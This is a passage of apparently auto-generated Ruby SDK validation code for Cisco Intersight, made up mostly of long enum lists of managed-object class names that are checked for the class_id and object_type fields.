\"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", 